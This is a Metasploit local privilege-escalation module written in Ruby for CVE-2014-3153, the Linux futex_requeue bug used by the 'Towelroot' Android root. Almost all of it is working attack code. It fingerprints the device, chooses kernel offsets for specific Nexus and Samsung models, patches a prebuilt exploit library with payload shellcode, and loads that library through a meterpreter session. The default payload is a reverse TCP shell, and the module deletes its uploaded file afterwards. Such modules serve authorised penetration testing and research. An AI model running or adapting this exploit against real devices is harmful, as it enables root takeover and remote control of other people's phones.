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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Common
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        {
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          'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit",
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          'Description' => %q{
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            This module exploits a bug in futex_requeue in the Linux kernel, using
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            similar techniques employed by the towelroot exploit. Any Android device
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            with a kernel built before June 2014 is likely to be vulnerable.
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          },
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          'License' => MSF_LICENSE,
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          'Author' => [
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            'Pinkie Pie', # discovery
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            'geohot',     # towelroot
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            'timwr'       # metasploit module
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          ],
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          'References' => [
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            [ 'CVE', '2014-3153' ],
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            [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
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            [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
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          ],
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          'DisclosureDate' => '2014-05-03',
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          'SessionTypes' => [ 'meterpreter' ],
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          'Platform' => [ "android", "linux" ],
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          'Payload' => { 'Space' => 2048, },
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          'DefaultOptions' => {
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            'WfsDelay' => 300,
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            'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
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          },
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          'Notes' => {
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            'Stability' => [CRASH_SAFE],
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            'SideEffects' => [],
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            'Reliability' => [],
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            'AKA' => ['towelroot'] },
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          'DefaultTarget' => 0,
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          'Targets' => [
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            # Automatic targetting via getprop ro.build.model
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            ['Automatic Targeting', { 'auto' => true }],
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            # This is the default setting, Nexus 4, 5, 7, etc
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            [
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              'Default',
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              {
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                'new_samsung' => false,
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                'iovstack' => 2,
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                'offset' => 0,
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                'force_remove' => false,
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              }
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            ],
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            # Samsung devices, S3, S4, S5, etc
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            [
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              'New Samsung',
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              {
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                'new_samsung' => true,
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                'iovstack' => 2,
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                'offset' => 7380,
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                'force_remove' => true,
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              }
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            ],
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            # Older Samsung devices, e.g the Note 2
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            [
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              'Old Samsung',
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              {
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                'new_samsung' => false,
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                'iovstack' => 1,
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                'offset' => 0,
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                'force_remove' => true,
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              }
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            ],
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            # Samsung Galaxy Grand, etc
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            [
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              'Samsung Grand',
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              {
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                'new_samsung' => false,
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                'iovstack' => 5,
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                'offset' => 0,
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                'force_remove' => true,
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              }
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            ],
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          ],
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          'Compat' => {
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            'Meterpreter' => {
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              'Commands' => %w[
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                core_loadlib
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                stdapi_fs_delete_file
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                stdapi_fs_getwd
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              ]
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            }
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          },
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        }
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      )
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    )
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  end
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  def check
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    os = cmd_exec("getprop ro.build.version.release")
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    unless Rex::Version.new(os) < Rex::Version.new('4.5.0')
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      vprint_error "Android version #{os} does not appear to be vulnerable"
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      return CheckCode::Safe
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    end
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    vprint_good "Android version #{os} appears to be vulnerable"
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    CheckCode::Appears
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  end
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  def exploit
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    if target['auto']
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      product = cmd_exec("getprop ro.build.product")
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      fingerprint = cmd_exec("getprop ro.build.fingerprint")
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      print_status("Found device: #{product}")
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      print_status("Fingerprint: #{fingerprint}")
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      if [
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        "mako",
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        "m7",
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        "hammerhead",
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        "grouper",
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        "Y530-U00",
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        "G6-U10",
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        "g2",
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        "w7n",
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        "D2303",
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        "cancro",
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      ].include? product
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        my_target = targets[1] # Default
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      elsif [
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        "klte", # Samsung Galaxy S5
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        "jflte", # Samsung Galaxy S4
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        "d2vzw" # Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)
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      ].include? product
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        my_target = targets[2] # New Samsung
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      elsif [
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        "t03g",
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        "m0",
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      ].include? product
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        my_target = targets[3] # Old Samsung
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      elsif [
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        "baffinlite",
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        "Vodafone_785",
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      ].include? product
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        my_target = targets[4] # Samsung Grand
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      else
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        print_status("Could not automatically target #{product}")
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        my_target = targets[1] # Default
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      end
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    else
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      my_target = target
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    end
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    print_status("Using target: #{my_target.name}")
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    local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-3153.so")
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    exploit_data = File.read(local_file, mode: 'rb')
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    # Substitute the exploit shellcode with our own
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    space = payload_space
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    payload_encoded = payload.encoded
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    exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
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    # Apply the target config
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    offsets = my_target.opts
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    config_buf = [
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      offsets['new_samsung'] ? -1 : 0,
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      offsets['iovstack'].to_i,
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      offsets['offset'].to_i,
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      offsets['force_remove'] ? -1 : 0,
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    ].pack('I4')
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    exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)
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    workingdir = session.fs.dir.getwd
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    remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
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    write_file(remote_file, exploit_data)
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    print_status("Loading exploit library #{remote_file}")
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    session.core.load_library(
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      'LibraryFilePath' => local_file,
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      'TargetFilePath' => remote_file,
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      'UploadLibrary' => false,
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      'Extension' => false,
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      'SaveToDisk' => false
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    )
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    print_status("Loaded library #{remote_file}, deleting")
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    session.fs.file.rm(remote_file)
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    print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
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  end
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end
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